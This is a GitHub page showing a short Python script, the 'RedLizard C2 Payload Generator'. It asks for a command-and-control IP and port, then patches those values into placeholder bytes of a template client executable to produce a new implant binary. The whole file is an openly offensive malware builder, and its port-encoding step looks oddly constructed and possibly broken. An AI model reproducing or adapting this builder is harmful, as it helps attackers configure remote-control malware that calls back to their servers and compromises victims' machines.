-
Notifications
You must be signed in to change notification settings - Fork 27
/
Binary_generator.py
39 lines (33 loc) · 925 Bytes
/
Binary_generator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/python3
import os
print("[+] RedLizard C2 Payload Generator.\n")
ip=input("Set IP for C2: ")
port=input("Set Port for C2: ")
a,b,c,d = ip.split('.')
templatefile = "RedLizard_Client.exe"
template=open(templatefile,'rb')
modtemp=template.read().hex()
template.close()
ahex = hex(int(a)).replace('0x','')
if len(ahex)==1:
ahex='0'+ahex
bhex = hex(int(b)).replace('0x','')
if len(bhex)==1:
bhex='0'+bhex
chex = hex(int(c)).replace('0x','')
if len(chex)==1:
chex='0'+chex
dhex = hex(int(d)).replace('0x','')
if len(dhex)==1:
dhex='0'+dhex
s = modtemp.replace("bebafeca",dhex+chex+bhex+ahex)
newfile="RedLizard_NewCLi.exe"
porthex = hex(int(port)).replace('0x','')
if len(porthex)==3:
porthex = '0'+porthex
elif len(porthex)==2:
porthex = '00'+porthex
s2 = s.replace("ecce",porthex[-2:]+porthex[0]+'1',1)
generating=open(newfile,'wb')
generating.write(bytes.fromhex(s2))
generating.close()